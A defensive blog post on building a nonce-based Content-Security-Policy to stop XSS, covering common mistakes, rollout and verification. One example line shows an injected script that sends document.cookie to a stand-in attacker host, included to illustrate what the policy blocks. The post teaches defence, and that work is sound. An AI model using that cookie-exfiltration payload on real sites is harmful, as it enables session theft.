← Blog
// BLUE TEAM · APPSEC

CSP in practice: a Content-Security-Policy that stops XSS without breaking your site

Published Aug 10, 2026 · 9 min read
CSPXSSHeadersHardeningWeb

A Content-Security-Policy (CSP) is your last line of defense against XSS: even if an attacker slips a <script> into your page, a well-built CSP stops the browser from running it. The problem is that almost every CSP you see in production sits at one of two extremes: so permissive it blocks nothing, or so strict it breaks the site and gets switched off. Let's build one that actually works.

What it actually does

A CSP is an HTTP header declaring, per resource type, which origins the browser may load from: script-src for scripts, style-src for styles, img-src for images, connect-src for fetch/XHR/WebSocket… The key is scripts: with script-src 'self', the browser refuses to run inline scripts and scripts from other origins. That refusal of inline code is the anti-XSS core, because reflected and stored XSS almost always inject inline code.

The mistake that makes it useless

90% of broken CSPs get "fixed" by adding 'unsafe-inline' to script-src. And that re-enables exactly what the CSP was blocking: inline code, including the code the attacker injects. A policy like this gives a false sense of security:

Content-Security-Policy: script-src 'self' 'unsafe-inline'
⚠️ Against XSS, script-src 'self' 'unsafe-inline' does nothing. If your CSP has 'unsafe-inline' in script-src, for practical purposes you have no CSP.

The right way: nonces

A nonce is a random token the server generates on every response. You put it in the header and in every legitimate <script> on the page. The browser only runs scripts carrying that nonce; code an attacker injects doesn't know it, so it's blocked:

# The server generates something like: nZ2spB9v...  (random, per request)
Content-Security-Policy: script-src 'nonce-nZ2spB9v' 'strict-dynamic'
<!-- this one runs -->
<script nonce="nZ2spB9v">initApp();</script>

<!-- injected by the attacker: no nonce, the browser blocks it -->
<script>fetch('https://evil.example/'+document.cookie)</script>

'strict-dynamic' is the modern companion: it lets an already-trusted script (the one with the nonce) load further scripts, so you don't have to enumerate CDN domains one by one. It's the recommended pattern today and frees your policy from fragile allow-lists.

🧱 To build it directive by directive without fighting the syntax, the CSP Builder assembles the header for you, warns about weak choices ('unsafe-inline', 'unsafe-eval', * wildcards) and ships strict presets ready to copy.

The directives that matter

Roll it out without breaking anything

Don't drop a brand-new CSP straight into blocking mode. Start in report-only: the browser tells you what it would have blocked, but blocks nothing. Collect the violations, adjust, and only then enforce it.

# Phase 1: observe without breaking
Content-Security-Policy-Report-Only: default-src 'self'; report-to csp-endpoint

# Phase 2 (once there are no false positives): switch the header to
Content-Security-Policy: default-src 'self'; ...

What will break (and how to fix it)

🛡️ A data point: this very site runs a strict nonce-based CSP, with no 'unsafe-inline' in script-src. That's why, if you inspect CyberEscudo's HTML, you won't find a single onclick=: everything goes through addEventListener. Eating your own dog food forces you to write better JavaScript.

Verify it

Two quick checks. In the browser, open the console: every blocked resource leaves a Refused to load/execute message with the offending directive. And for a header audit —without installing anything— paste your domain into the analyzer:

📋 The HTTP Header Analyzer checks your site's security headers (CSP, HSTS, X-Content-Type-Options, Referrer-Policy…), flags the missing or weak ones and gives you a grade. Perfect to confirm your CSP made it to production intact.

Checklist

A CSP doesn't replace escaping output or validating input: it's the net that saves you when something slips through. Built with nonces, ten lines of header turn an exploitable XSS into an attempt the browser throws straight in the bin.

Share: LinkedIn X
Sergio Belmonte Morales
Sergio Belmonte Morales
Cybersecurity Analyst · SOC · Sentinel/KQL specialist